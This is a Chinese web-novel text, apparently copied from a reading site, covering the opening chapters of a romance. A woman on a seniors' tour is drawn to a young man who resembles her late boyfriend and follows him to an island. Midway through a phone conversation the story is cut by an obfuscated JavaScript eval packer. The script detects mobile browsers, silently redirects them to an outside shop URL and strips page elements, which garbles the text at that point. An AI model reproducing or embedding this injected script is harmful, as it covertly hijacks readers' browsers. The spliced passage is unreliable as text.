《长期关系》 1. 大厅匹配 想你时你在天边 想你时“你”在眼前 * 何筱舟又梦见了那块路牌。 四周都是浓雾,难辨方位,视野里只有黄底的连续急弯标识,伫立在道旁,被来来往往的光束照亮。 她走过去站在路牌下,故意引人注意似的。 雾什么时候散去的?何筱舟不知道。取而代之的是一片刺目的血红,在眼前晕染开。 有人喊她,声音像被砂纸磨过般粗粝,“筱筱,快跑!” 跑?去哪? 想追问,倏而一道强光闪过—— 何筱舟睁开眼睛。 是酒店房间的水晶灯被打开,紧接着,luis的声音从玄关传来。 “抱歉,路上堵车,耽误了。” “怎么不开灯?” 何筱舟深吸口气,竭力压下梦里那股如涨潮一般的心悸感,撑着沙发扶手站起身,“睡着了。” luis走过来抱她,低声问:“今天想怎么开始?先喝点酒吗?” 破坏气氛的是他领口处一抹幽香。 何筱舟稍稍退离他的怀抱,淡笑着问:“堵车?还是刚结束上一场?” luis也笑:“亲爱的,你的语气像女朋友查岗。” 何筱舟推开他,拎起托特包,“我记得我们沟通过,这段关系是一对一的。” “你一走八个多月,我找别人也很正常吧。” 何筱舟不再理会。进电梯后,直接拉黑了luis所有联系方式。 她不知道luis的真实姓名,也不重要。 一开始决定和他接触,只是因为他主页的一则视频。 弹贝斯的手轻巧灵活,姿态随性恣意,和林湛很像。 本意是工作之外的消遣,所以见面不算频繁,每月一次。除了需要经常互换体检报告有些麻烦之外,大多数时候感觉还不错。 仅停留在生理层面的关系,要对方“守贞”是挺奇怪的。她并不气愤,但难免有种合作方先违背协议的憋屈感。 而且有点破坏了何筱舟预想的假期开场。 如luis所说,她去年秋天带小组去北江省出差,因涉及保密条例,在合作方公司待了八个多月,今天才回到津海。 漫长的异地驻场,最后收获十五天假期和两个月工资的奖金。 她原打算做短暂休整,然后独自去山里徒步,再去西南知名的旅居城市住上几天。 可当她从酒店离开,站在津海熟悉的街道上,真正有了未来半个月时间都独属于自己的实感,却忽然感到茫然和无所适从。 就好像体内一直紧绷的弦蓦地崩断,整个人如松了劲的发条玩偶般,丧失了所有动力和探知欲。 她取消行程,百无聊赖地宅在家里。 报复性刷剧、打游戏、看短视频,感受津海六月份的潮湿雨季,做各种琐碎而无意义的事,生物钟紊乱到昼夜颠倒。 这种状态持续到假期第三天。 何筱舟被半胁迫着登上旅游团的大巴,代母出游。 起因是何丽萍女士的舞蹈比赛临时改期,报名的旅游团又出发在即不能退款,据她说,是跟负责人磨了好半天,对方才同意换人。 只需要承担改签费用,不至于损失掉整比团费。 而何筱舟刚好有空。 “刚好”是何丽萍说的。 何筱舟自然是拒绝,说她出钱,把团费补给她。 “那你去相亲,你刘阿姨的侄子……” 何筱舟投降,打断她,“我去。” 早上七点出发,对报复性熬了两个大夜的何筱舟来说,简直如同酷刑。 而且,到车上她才知道,这是个老年团。 大巴前排的位置几乎坐满。 一眼望去,全是精神抖擞的老头老太太,目测整个车厢里除她之外最年轻的是司机,四十多岁的样子。 已经可以想象后续行程会是什么样的。何筱舟低叹一声,顶着夹道两侧好奇的注目礼径直走到最后一排,倚着窗玻璃开始补觉。 出发前,领队挂上小蜜蜂开始讲注意事项。 声音经过劣质机器放大,尾音携带刺耳的电流,很尖锐,何筱舟蹙眉半眯起眼,低头翻包里的耳机。 余光瞥见窗外有人影晃过,她下意识扭头看过去,只捕捉到那人高大的背影。 是个年轻男生,黑发微微卷曲,看上去很蓬松。 他往前小跑了几步,何筱舟没再留意,重新窝进座椅时,听到领队说了句,来啦。 估计是陪爷爷奶奶的吧,没有哪个年轻人会单独跟老年团,何筱舟这样猜测着,塞好耳机闭上眼。 反正不管怎么样,至少现在她不再是这个团里的异类了。 大巴很快驶离津海市区,开上高速。 一共四天三晚,目的地是临省的桉吴市。 第一站是当地比较知名的古镇景区,隔天傍晚开去市郊,之后是若桉山和仙女湖的项目,住山里的度假村,另外还安排了农家体验之类的。 吃喝和住宿的条件相对讲究,费用便比一般的团贵些,也是何丽萍舍不得浪费的原因。 去桉吴的路线中有几段隧道,何筱舟坐在车尾的位置,本就有很强烈的摇摆感,又因为幽深通道内的红蓝指示灯炫目得厉害,所以一路上睡得并不沉,断断续续的。 中途停车加油,她没有下去,睡眼朦胧地换了个坐姿,注意到前排空座上多了个人。 是那个男孩,扣着副头戴式耳机,将蓬蓬的发顶压下去了些,隐约露出发间光滑的白色弯梁。 坐在她正前方,也是窗边的位置。 可能是跟老人家聊不到一起,何筱舟想。 她偶尔醒来,听见过他们的聊天内容,大多是在说子女孙辈的事,要么就是单位的退休福利之类的。 太琐碎,又有暗暗的攀比。 很快重新上路。 或许是因为一路上睡睡醒醒无意间看到了不少提示牌和警告标志,入睡后,何筱舟又做了那个梦。 仍是极浓重的雾,她被男生拽着一路狂奔。 跑了很久,直到视域渐渐变得清晰。 腕上的禁锢一同消失,她环顾四周,空荡荡的,只剩她一个人,已不见男生的踪影。 她没来由地感到心慌,凭借模糊的记忆,无头苍蝇般开始找人。 应当是,高而挺拔的身形,整张脸因温润的下颌线条显得有些清秀。 是与身高不太相符的长相,眉骨却英挺,以优越的山根和鼻梁连接,在眼窝处投下明显的阴影,眼睛…… “嗨。” 很突兀的清朗男声,听上去很遥远,像来自另一个世界,而且和梦里男生的声线不太一致。 何筱舟蹙了蹙眉,在脑海里继续拼凑男生的样貌。 随后,她感觉到肩膀被人轻轻拍了拍。 身体不受控地抖了两下,她猛地醒转,不期然撞上一道沉定的目光。 哦,就是这样的一双眼。 浓墨般的眉低低压下来,将眼睛衬得深邃而凌厉。但如果是含笑时又会完全不同,眼尾略微上挑,笑意就像从眼角溢出来一样…… “到终点了,要下车了。” “你......”男生的视线将她牢牢锁住,面上渐而出现惊诧又懵然的表情,仿佛他才是从睡梦中被叫醒的一方。 何筱舟醒过神。 却无法开口,话被堵死在唇边,些微凉意如游蛇般顺着脊骨爬上来。 她定定看着男生的脸,脑中缓缓浮出一个不确定的名字。 林湛? 仿佛切换到全屏模式的弹幕般,这两个字在眼前铺天盖地循环滚动,遮覆住其他所有风物。 不可能。 何筱舟马上否定了这个过于离谱的猜想,因为她百分百确定自己不认识他。 但不可否认的是,他和林湛实在太像。 男生又看了她一眼,大约是确定她已经彻底清醒,便背上包拐进走道,等着下车。 何筱舟忙抓起包跟上。 她小步走在男生身后,意识是清明的,思绪却一团乱。 以至于之后的行程,她像被分割成两部分,一部分机械地随大部队吃午饭、游古镇、挑选纪念品,另一部分不动声色地分心打量着男生。 她猜测有偏差。 他实则很随和,跟谁都能聊上两句,又细心,笑呵呵的。 帮老太太背包,跟念叨孙子的大爷谈论学校里的事。但都是一视同仁,没有和谁有社交之外的亲昵,应该也是自己来的。 “姑娘?” 何筱舟收回视线,看向一旁唤她的阿姨。 “小姑娘眼光都好,你帮我看看这两条手链,哪个好看些?” 手工编制的饰品 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等他给最后一位拍完,何筱舟走过去,将手里提着的的冻柠茶递给他,“帮我也拍一张?” 她笑了笑,面上有些给人添麻烦的赧然,眼睛却牢牢凝着他,“只是我手机没电了,你加我微信,拍完发给我?” 李既白略有迟疑地接过那杯饮料,道了声谢。 凉丝丝的,里面放了足够多的冰块,但杯壁上还没来得及沁出冷热交替反应的细小水珠,看起来像是刚做好的。 尽管不认为她是用现金支付,但他也没自以为是到她是专门为了要他的联系方式,只说:“可以啊,想怎么拍?” “都行,游客照嘛,你看着来。” 她走过去,站在涂鸦墙前,小臂抬起来搭在一旁的篱笆上,姿态随意,却没看镜头。 仰拍的角度,男生微蹲下身,将手机举得与下巴齐平,刚好能让她清楚、仔细地观察他整张脸。 她的视线跳跃着,挑选着,像小时候玩找不同游戏一样,在他的五官落下结论标记。 鼻梁上端微隆的驼峰处,眼下多出一颗浅棕色小痣,眉尾的落梢似乎要高一点,以及,脸部轮廓相比起林湛,更硬朗,更分明。 光影摇晃,何筱舟眯了眯眼。 某个恍惚的瞬间,她觉得自己好似并没从梦中醒来,有不容忽视的阳光刺破雾霭,现在是梦境内独有的,前后矛盾,风马牛不相及的荒诞续场。 “好了,你看看怎么样?” 何筱舟凑过去瞧,原本拍照只是幌子,成片却出乎意料的好看。 男生调出微信,她快速键入自己的账号,点击搜索,“现在我知道为什么他们都让你帮忙拍照了。” 发送了好友申请,两人跟上队伍,往街道深处走。 这座古镇以墙面绘画闻名,清一水的三层小楼整面墙画,有壮阔的风景图,也有生动的人物肖像,逐渐发展出衍生的商业项目。 下午是体验涂鸦板画的特色活动,何筱舟画了片花丛,得到一枚古镇微缩景观的纪念版冰箱贴。 她又在活动中心另外选了些相关的文创产品,付过钱,填了朋友的地址寄送。 日暮渐隐西山,一行人吃过晚饭,入住镇上的民宿。 何筱舟额外补了费用,单独住一间。 房间在二楼拐角处,推开窗,能看到远处连绵群山,笼在蓝调时刻的夜色里。 她想起白天路过镇上的一家酒吧,门口小黑板上写着今天的主推调酒,名字叫蓝色山峦。 已经洗漱过,她随便在唇上涂了层薄红,拿上手机出门。 到底还没正式入夏,夜晚的风裹挟着轻微凉意。 何筱舟推开酒吧厚重的木门,一眼看到正对门口吧台前的那道身影。 他换了件黑色t恤,头发也像洗过,但仍然是微卷的蓬松感,只发尾有些潮湿。 果然。 傍晚涂鸦体验结束,他随团友经过这间酒吧时,曾短暂停留,隔窗拍了张店里的内部装潢。 她当时跟在最末尾,没有错过这个过程。 何筱舟笑了笑,缓步走过去。 她在男生身侧站定,手肘懒散地搭在台上,支住下巴,真像巧遇那般,自如地开口。 “你也在这,请你喝一杯?” 2. 组队邀请 男生似乎并不惊讶何筱舟会出现在这里,将手边的酒水单推过来,“想喝什么?我请,谢你下午的饮料。” “就和你一样吧。”何筱舟撑臂,坐上吧台前另一个高脚椅。 他冲服务生招手,“一杯蓝色山峦。” 这是间清吧,轻金属风格装修,灯光是朦胧的昏黄色调,乐队在角落小舞台上唱着节奏舒缓的老歌,顾客之间交谈都极小声,整体氛围有点像影视剧里留白的空镜,闭上眼,又会感觉是很舒服的白噪音。 何筱舟这时才点开微信,通过了好友申请。 她的指尖顿在那条打招呼信息上方,漫不经心道:“原来你叫李既白。” 男生随即把照片发过来,除了在涂鸦墙前拍的那张,还有一张在活动中心,她画画时的侧脸。 “本来是想拍窗户里的夕阳,随手多拍了张。”他解释道。 她没在意,一同点了保存,瞥见他那边聊天窗口仍是她网名的联系人备注,便说道:“我叫何筱舟。” 以往类似的情况,通常在说完名字后,她需要再补一句“是竹字头的筱”,不然对方总会误以为是那个晓,但李既白输完拼音,直接点开更多,选了正确的字。 何筱舟有些意外地看了他一眼。 没有其他顾客点单,那杯盈着淡蓝色的晶透液体很快被推过来送至何筱舟面前。 她捏着倒三角杯的细柄浅抿一口,“还不错。” 李既白点头:“名字叫山峦,其实是海洋的味道。” 一首歌唱完,酒吧里更加安静。 何筱舟屈起手指,有一下没一下地在桌面上轻敲,同李既白闲聊,“你一个人来的吗?” “对,毕业旅行。” “一个人毕业旅行吗?”何筱舟有点想笑,“跟老年团?” “原本和同学约好进藏,他突然签了工作,我就自己来了,没跟过团,想试试,”李既白转头看过来,问,“你呢?” “我……” 余光捕捉到旁边卡座里正在接吻的情侣,何筱舟扯了个半真半假的借口,“我被分手了,来散散心。” 李既白引用她的话反问:“跟老年团?” 她低头笑,“对方嫌我工作太忙,我想体验体验,慢下来是什么感觉。” 何筱舟沉默着想,她的确和luis刚断联不久,这应该不算说谎吧。 她抬起眼,试图摆出哀切的表情,没成功。但还是在男生脸上看到预料之中的惋惜神情。 他张了张唇又合上,大约是觉得说什么都不合适,看上去有些无措。 这大半天,多数时间他都是沉稳的,此时倒显出点符合他年龄的稚拙感。 何筱舟循序渐进,状似随意地问:“你呢,忽然被放鸽子,难道和我一样?” “啊?”李既白顿了顿,才反应过来,“不是,我没有女朋友,旅行是和室友约定的。” 她得到想要的答案,不动声色地点点头。 这时乐队的保留曲目演唱完毕,进入点歌环节。 何筱舟一连点了三首,都是基调伤感的慢情歌。 是脍炙人口的曲目,因此没有人觉得气氛被破坏,多在随伴奏轻轻跟唱。 一派和谐醺然的氛围里,两人各自静默地喝完那杯冰蓝渐变的鸡尾酒。 李既白付完账,从高脚椅下来,准备先行离开。 在他开口道别前,何筱舟出声打断他:“再来一杯吗?” 他误以为她还要喝,冲服务员扬手要酒单。 何筱舟及时拦住他,“我意思是,换个地方继续。” 他站她坐,她需要将脊背挺得很直,才能尽可能近地附在他耳边说话。 “嗯?”李既白一副疑惑的样子,“这里好像没有其他的酒吧了。” 何筱舟作出惺忪醉态,朝他勾了勾手指。他很配合地微躬下身体,脑袋凑近。 有清冽的气息融进鼻腔,似春夏交替时节的草木清香。她平声开口,像讨论天气状况般自然,“你介意一夜情吗?” 男生有片刻的僵滞,保持着半弯下腰的姿势。 先有反应的是他的耳朵,距离近,何筱舟便很清楚地看到耳垂逐渐变红的过程。 与料想中的回应不同,李既白竟然笑了,尽管他的耳朵仍然通红,“我从没听说过跟老年团会发生艳遇。” 何筱舟分心想,找不同游戏的结论新增一处。 原来他有个梨涡,在左侧唇角处,不甚明显。 她当然听出他在拒绝,以尽量委婉的方式。 但她看着这张熟悉的面孔,很难就此止步,只想将这一刻无限延长。 于是她开口,被酒精浸润过的声音格外绵软,“可我们现在在酒吧里,不是吗?” 她直直看进他眼睛,目光柔和,又带着点旖旎,像无声却又暗涌的泉眼,汩汩淌出暧昧的泉水。 和这样的眼睛对视,沉进去是理所当然的事。 李既白失神,一时怔住。 她倾身,一点点缩短两人间的距离。 李既白看着她愈来愈近的脸,脑中一个激灵,偏头躲过,最后她的唇轻轻地印在他脸侧的位置。 当晚,李既白失眠了。 那一幕在他脑海里循环播放,他只能一遍遍回想当时的感受——脸在发烫,滚烫,除此之外,是她喝过冰镇酒液的唇,触觉柔软又带着些微凉意。 可耻的是,因为她周身清淡好闻的铃兰香,他当时竟似被蛊惑一般,呆滞在原地。 天快亮的时候,他终于理清积压在心里的怪异感。 白天在车上,李既白就认出了她。 当时他只觉得她似乎和他印象里的何筱舟不太一样了,却说不清具体是哪里不同。 因为她的面容没有太大的变化。 仍是极疏淡的眉眼,看人时携着凉凉的距离感。 精致的鼻梁高挺且直,中和了眉眼的寡淡感,添上几分倨傲。 甚至连唇上明艳的红色都一致,和她本人气质不十分匹配,但会为她赋上些许攻击性,有种难以接近的锋利感。 是在拍照时,他恍然发现,不同的是眼神。 以往何筱舟的目光是坚毅又充满力量的,现在好像多了些难以言喻的晦涩。 尤其在那个……吻发生的瞬刻,她就那样看着他,眼里堆满潮湿的温柔,在酒吧昏昧的光线里,像截取自旧文艺电影里缱绻忧郁的一帧。 李既白想,没有人会一直无懈可击,她也和普通人一样,会难过,会有脆弱的时刻。 这没什么大不了的。 * 隔天傍晚,团队乘车出发去度假村,何筱舟才又见到李既白。 上午是旅行社安排的戏剧节目观演,他没去。看完演出在剧院门口合影时,何筱舟听见大叔们有聊起他,说好像是因为早上睡过头了才缺席。 现在看来所言非虚。 他正站在队伍末尾等着上车,顶着一头黑而亮的蓬松卷发,像刚睡醒,仍有些怔忪的样子。 老人们都排在队伍前列,他后面没有其他人。 何筱舟小步走过去,想起李既白昨晚匆忙离开的背影,越靠近,越有些冲动冷却之后的难为情。 鸡尾酒不醉人,酒后失态这个理由显然站不住脚,她跟在他身后上车,兀自想着该怎么解释。 他却没什么异样,坦然地径直走到后排,还是坐在昨天的位置,何筱舟顿了顿,坐进最后一排,他的正后方。 车子很快启动,李既白戴上耳机,何筱舟见状,窝进座椅,将刚想到的蹩脚借口憋了回去。 大约五十分钟后到达度假村。山里温度很低,天色也阴沉,看起来要下雨的样子。 何筱舟没有一起去吃晚饭,上楼回房间休息。 休假以来,她的作息完全乱掉,今早强撑着精神出门,舞台剧刚开场没多久就睡了过去,整天都恹恹的。 好在,度假村的环境还不错,大片的绿地草坪,不仅有游泳池,还配备健身房和影音娱乐室,各种设施都很完善,一进到里面,整个人好像都被园林里的绿意熨帖妥当,疲惫尽消。 何筱舟开了蓝牙音箱,脱下衬衫准备泡澡时,接到好友突然打来的电话。 乔楠是典型的派对生物,惯常在这个时间码人攒局—— “筱筱,季惟的酒吧店庆活动,请了乐队演出,来玩吗,我叫车去接你。” 何筱舟关了浴缸放水的闸门,踱步到窗边。 “我不在津海。我妈报了旅游团,结果自己来不了,推我顶包。” 乔楠在电话那头笑了一分钟。 她漫不经心地回怼两句,随手拨弄着浴室的百叶帘。 有细小的雨滴落在窗子上,发出嘭嘭的密响。 “我不行了,丽萍太可爱了。” “上个月她来店里找我,拿个笔记本,一本正经地问我知不知道你的理想型是什么样的,她记下来,照你的标准提着灯笼去找,给我乐坏了。” “你怎么说?” “还能怎么说,说你工作为重,不着急结婚。” 乔楠几不可察地叹息一声:“总不能说实话吧,我都没见过你那林湛长什么样。” “算了算了,说正事。” 乔楠清了清嗓子:“你之前提到的耳环,已经买到了。” 发条好似被拧了一圈。 何筱舟站直身体。 乔楠解释道:“是季惟的朋友在珠港买到的,前几天送过来,那时候你还在北江呢,我就锁家里保险柜了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16621090|187888||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这几天一直在店里住,忙忘了。” “照片发给你了。” 何筱舟点开微信,将图片放大。 “其实我很好奇,以我对你的了解,你虽然收入不错,但绝对不会花几万块去买高奢珠宝,还是二奢。” 右耳那只的碎钻缺了几颗,不过没关系,何筱舟松了口气,她只需要左边那只。 “他以前送我的,搬家不小心弄丢了一只。” “我就知道。” “要不是……真想见见这位,到底有什么魔力,让你念念不忘这么多年。不过,现在看,选蒂梵送,至少品味还不错。” 和林湛交往时,乔楠在美国留学,是以她只知道她有过这么一段恋爱经历,并不知晓更多信息。 何筱舟笑了笑,将话题轻巧揭过,“我昨天买了些文创寄到你店里,你注意查收。” 又顺着旅游团的行程闲聊几句,电话挂断。 房间里忽而变得安静又空荡,何筱舟立在窗边,望着楼下的泳池,很长时间都没有挪位置。 李既白在那里应该有一会了,她接电话时他就在。深浓夜色里,小雨淅沥,偌大的蓝底池子里只有他一人在游。 池边设有落地灯,照着粼粼水面。 他动作轻捷,游的速度极快,偶尔出水换气,到尽头后用力蹬池壁灵活转身,如游鱼般破开池水,一圈圈荡开波澜。 不知游了多久,他撑着边缘出水,走去旁边拿浴巾。将濡湿的头发擦到不再滴水的状态,乱糟糟地支棱着。 很难不注意到他裸露在外的肌肉,肤色冷白,线条和肌肉群都恰到好处,丝毫不夸张的形态,有力量感,但穿上衣服后又会是年轻男生独有的清癯。 何筱舟闭了闭眼,合上窗帘,褪去贴身的吊带背心,跨进浴缸。 泡完澡睡三个小时,醒来后周身都变得松快。 何筱舟静躺在床上,点开乔楠发来的耳环照片,默然地盯着瞧,直到眼睛都变得酸涩。 她眨了眨眼,忽然起了离开的念头。 领队见怪不怪,答应得很爽快,只重点申明费用不退,何筱舟没什么所谓,拜托对方到时给她发几张后续行程的照片,她好应付何丽萍。 但她并没有想好去哪,而且因为在下雨,又是夜里,本就难打车的远郊,更是一辆出租车都没有,网约车也没有司机接单。 何筱舟也不着急,撑一柄刚买来的透明小伞,站在度假村的人行入口旁,把手机地图缩缩放放,打算随机挑个目的地。 这时有辆车驶过,溅起些积水,何筱舟慌忙往路边跳了一步。 她还不太熟悉桉吴这边的出租车特有的车型,等它驶出一段距离才反应过来,后知后觉地挥了挥手,只看到渐远的红色尾灯。 没成想,过了一会,那辆车又开回来。 后车门打开,李既白探出脑袋,“你去哪?” 何筱舟握着伞把的手有些脱力。 只觉得好像一切都脱离了她的预期,在她想要跳出这个怪圈的时候,又被不知名的力量拽回圆心。 她用力掐了下指尖,反问:“你去哪?” “我去机场。” “那我也去机场。” 他下了车,把她的行李放进后备箱。 雨伞太小,两人身上都不同程度被淋湿了。李既白从口袋里掏出小包纸巾递给她,唇线绷着,一副不想多交流的样子。 何筱舟接过,简单擦了擦水渍。 可能是出于礼貌,他没戴耳机,挂在颈间,只偶尔有些许碎音漏出来。中途何筱舟无意间瞟到他的手机屏幕,竟是在背单词。 她想开口说点什么,瞥见前面的司机,又作罢。 离开远郊的山区,雨便停了。 车很快到达机场落客区,这里远离市区不被高楼包围,隐约能看到夜空里被月光映照的云层。 何筱舟站在原地,看着随人进出开开合合的门,思绪也荡来荡去,像风中摇摆不定的芦苇丛。 她不喜欢这种感觉,于是在李既白转身走去入口的时候,找到摇晃幅度最小的一枝,当机立断将其拔高。 她掏出手机,给他转账。 如何筱舟所料,他低头看了眼手机,又大步往回走,在她身边站定,“什么意思?” “车费。” “我看出来了,但前面三位数是什么?” “昨天晚上有些冒犯……抱歉。” 李既白笑了,但开口时声音不再清润,染上些凌厉,“所以是精神损失费?” “说是补偿也行。” 何筱舟抬头直视他,淡淡道。 “两万块,我这么值钱?” 李既白微俯下身,眼里再也没有他一贯的平静温和,聚积起晦暗的风暴。 3. Day One 爱或情借来填一晚 终须都归还,无谓多贪 * 何筱舟的第一反应是,他也会生气。 据她这两天的观察,他多数时候都是不争不抢、无所谓的处事态度。 有人找他帮忙,即使会影响自己的事,他也会尽力去帮,遇到有分歧的,最后都是遵照对方的想法。 明显是在意别人感受多过自己的性格。 何筱舟看他一眼,平声道:“不是,是我对你抱歉的程度。” 李既白果然沉默下来。 良久的静对无言后,李既白将转账退还。 他咳了声,嗓音恢复至平素的润朗,但面上仍没什么表情,“倒也没到这么严重的程度,我也……” “什么?” “……没什么。” 僵凝的气氛就此破冰。 何筱舟拄着雨伞,有一下没一下地用伞尖点地。 半晌,她看着机场外来来往往的行人,问:“你准备去哪?” “南岸。” “去玩?” 何筱舟知道南岸是知名的旅游城市,周边的海岛更是近几年兴起的爆火度假胜地。 “回家,我是南岸人,在津海读大学而已。” “怎么突然走?” 李既白顿了顿,思索两秒,解释道:“南岸的湄湾岛你知道吗?我在那里有家民宿,平时是朋友帮忙管理的,他打算办个活动,让我回去看看。” “南岸的海,和津海的相比,有什么不同吗?” 她脸上的神情颇为认真,像是真的感兴趣。 李既白松了口气。 其实他是因为不知道该怎么面对她,才临时决定退团,没想到她也半道离开了。 车本来开走了,是司机注意到她,而他实在没办法对雨中的她视而不见。 “更蓝一点吧,天气好的时候,会特别清澈,就是那种玻璃海。” “我想去看看。” “你的民宿现在预订来得及吗?” 李既白没有预料到拼车的后续走向会是这样,愣了愣,“啊?” 何筱舟耐心地重复一遍,补充:“没什么,你别误会。我只是想,海岛可能比跟老年旅游团更适合慢下来散心吧。” 她这样说,他再扭捏就有些矫情了,于是开口问道:“几天?” 现在是假期第四天,她想着该预留最后一天调整状态方便复工,便说:“十天。” 李既白拿出手机。 他大概在确认空房,手指在类似后台系统的软件上点了几下。 “景观房没有连续的了,两天景观房,其余时间普通房可以吗?” “都普通房间就可以,搬来搬去麻烦。” 行程就这样敲定,何筱舟按李既白的指引在APP上提交了预订单,又买了张机票。 最近一趟航班是明早五点钟的,还有好几个小时,两人找了家肯德基,随便点份套餐等着登机。 何筱舟戴上耳机看电影,是她看过很多遍的《遗愿清单》,她记得全部剧情,不必全神贯注都知道影片的情节发展,于是很轻易地被李既白吸引了部分注意力。 他开着笔电,神情沉定而认真。 过了会,他转头问她有什么想去的景点,何筱舟视线扫过去,才知道他是在帮她做攻略。 图表清晰又有条理,拿着它不带脑子都能玩透。 何筱舟想了想,“有出海的项目吗?” “有观景船,也能海钓。” 李既白将电脑转过来,边敲字边向何筱舟介绍各类游玩项目。 何筱舟的思绪却有点偏,不着痕迹地打量着他。 他正很专注地看着屏幕,修长手指在键盘上灵活翻飞。可以用漂亮来形容的一双手,指甲修剪得很规整,关节分明,有嶙峋的清瘦骨感。 脊背挺得笔直,真正的坐有坐相,即使是在这样连续奔波容易疲惫的深夜里。 由内而外,苍松翠柏一样的男生。 何筱舟抿了抿唇。 她知道自己的行为超过社交界限太多,但就是,很难对这张脸视若无睹。 就像突然决定去南岸,她近几年已经鲜少有过这样随性的临时起意。 很多事上,她都更注重结果,所以通常会先预设目标,圈定条框和范围,一切都在安全区内进行,不会和预期出现太大偏差。 而对于这趟计划外的旅程,走向未知,结果未知,一时冲动做出决断后,她只能说服自己,尽可能肆意地只享受过程。 一直到顺利登机,在座位上坐定,何筱舟躁动的心才慢慢平静下来。 清晨赶早班机,每个人的脸上都带着深重的疲惫,一副生无可恋的样子。 何筱舟也是。 她近来习惯在蒙蒙亮的清晨入睡,此时有些难抵困意,找了个舒服的姿势窝着。 侧倚的角度,偶尔随着前后排乘客走动睁开眼时,总能看到窗玻璃上李既白的倒影。 他仰头靠在椅背上,阖着眼,快要睡着的样子。 何筱舟半睡半醒,目光虚浮,滑过他稍稍扬起的下巴,落到喉结。 很突出的形状,似从极远处看到的山丘尖顶,有着流畅且漂亮的起伏线条。 间或有吞咽的动作,那线条便成了动态的,短暂隐匿于喉间又凸显出来。 她用力闭了闭眼,换了个坐姿。 有段时间,何丽萍催婚到了走火入魔的地步。 她十分不解,那些相亲市场上炙手可热的青年才俊到了何筱舟眼里怎么就变得一文不值,每次见面聊不到五分钟就能断定两人不合适。 何筱舟被追问得烦不胜烦,面不改色地放出杀招,对何丽萍说,因为他们对她没有性吸引力。 那之后,消停了一阵子。但很快,何丽萍又开始在微信上问,什么样的人对她有那啥力。 她哭笑不得,但又答不上来。 何筱舟对于性的认知,其实分为几个阶段。 初体验是和林湛。 在那之前,何筱舟只有浅薄的理论知识。因为即便是生物课上,也是讳莫如深地一笔带过,真正实践时,彼此都是初次,累得满头大汗也没成功。 是经过很多次磨合才逐渐体会到这件事的快乐。 林湛大学时候和几个好朋友组建乐队,他是队内的贝斯手,那时何筱舟繁忙课业下的唯一解压方式就是,周末晚上去live看他演出,结束后,看着那双灵活的玩乐器的手,怎么变着法地在她身体上奏出同样美妙的乐章。 林湛出意外去世以后,她很长一段时间没再接触过异性。 一方面是因为离开象牙塔般的校园环境,男女间的情感牵扯不再纯粹,她对层出不穷的推拉试探感到厌倦。 另一方面,高压工作下,她剩余的精力不足以支撑她进入一段新的亲密关系,或者说,她有些畏手畏脚,不想再经历重复的得失戏码。 所以她更倾向于自我纾解。 但有时,也会感到生活无趣,像一杯半温的开水,寡淡、了无生机,正在一点点凉透。 加之那段时间对玩具的体验感有所下降,乔楠也半开玩笑地建议她找个男人调理一下,才开始尝试和luis接触。 只发展过一段那样的关系,却带给她完全不同的感受。 性与爱分离的感觉很奇特。 她可以毫无心理负担地单纯享受生理层面的餍足,不必再有其他纷杂无序的现实考量。 她必须承认,这趟出游的目的并不纯粹。 当然,原因和李既白本人无关。 和那对耳环一样,她只需要其中一部分。 * 李既白犹豫着要不要叫醒何筱舟。 飞机进入平飞状态后,她很快就睡了过去。 起初她以一种很拘谨的姿势靠着椅背,后来换了个坐姿,没过一会,脑袋倒在他左臂上。 现在不知是做噩梦还是因为座位太狭窄舒展不开,她的额前沁出一层薄汗,眉心紧簇,睡得并不安稳,嘴唇翕动着,像在含糊说些什么。 李既白小幅度地侧了侧身,从长裤口袋里取出纸巾。 才用单手艰难地拆开包装,倚靠在他肩上的人就已悠悠醒转,坐正身体后嗓音微哑地说了声抱歉。 他松了口气,抽出张纸巾递给何筱舟。 她的神色很快恢复清明,接过去揩了把薄汗,随口说道:“快到了吗?” 约三个小时的航程,刚刚过半。 此时正经过海湾上空,从云团的缝隙里能看见碧蓝万顷。 “好像错过了日出。” 李既白找出刚升上高空时拍的照片,“天气不太好,被云挡住了。” 何筱舟凑过去看。 云层被日光嵌上金边,边缘呈现出一种近乎透明的渐变。 从远处看到的云,比近处要美好得多。 这会飞机从云间穿过,只能看到袅袅的雾气,哪里还有那种蓬软的棉柔感,且因为云中的气流,机身发生了小幅度的颠簸。 很微弱的晃动,不足以构成恐慌,没有人在意。 大多数乘客还在睡觉,机舱内只有物品摇晃摩擦形成的细微响声,不刺耳,窸窸窣窣的,反而很催眠。 何筱舟迷蒙地半眯着眼,小声说:“你好像很喜欢拍照。” “是。” 他往前翻相册,也没将手机移开,就横在两人中间。何筱舟看着照片像PPT一样在眼前切换,内容都很简单,没特意凹角度,可能大多只是随手一拍。 步行街蹲着的小猫,出现故障同时亮着红绿两种颜色的步行信号灯,往下滴雨的屋檐,绿化带里不知名的小丛野花,甚至只是一碗面…… 机身震晃的幅度好像变大了些。 何筱舟抓紧扶手,靠回座位,身体尽量贴紧椅背,只略微偏头去打量他:“记录生活?” 日常生活中最常见不过的一事一物,在他的镜头里好像都是值得被留住的瞬间,变得鲜活而灵动。 “算吧,……我想拍下来,……看。” 何筱舟没听清楚,她现在所有的注意力都用来对抗机身颠簸逐渐加剧而产生的晕眩感。 坐过山车一样,胃里一阵阵翻腾。 何筱舟强忍着不适,前言不搭后语地和李既白闲聊了一会,想吐的生理反应淡了些,睡意卷土重来。 刚阖上眼。 原本只是颠颤的飞机,突然开始剧烈地摇摆、抖动,甚至好像在下坠。 猛地一个斜冲,不知哪个位置的行李舱门被撞开,大包小包扑簌簌砸下来,发出闷响。 有乘客从睡梦中惊醒,惊叫出声。 突如其来的变故引起客舱内一阵骚乱。 广播适时响起机组人员的安抚提示,但被乘客激烈的谈论声盖过去,于事无补。 “老天爷,刚才还很正常,怎么回事?噼里啪啦的,下雨了吗?”
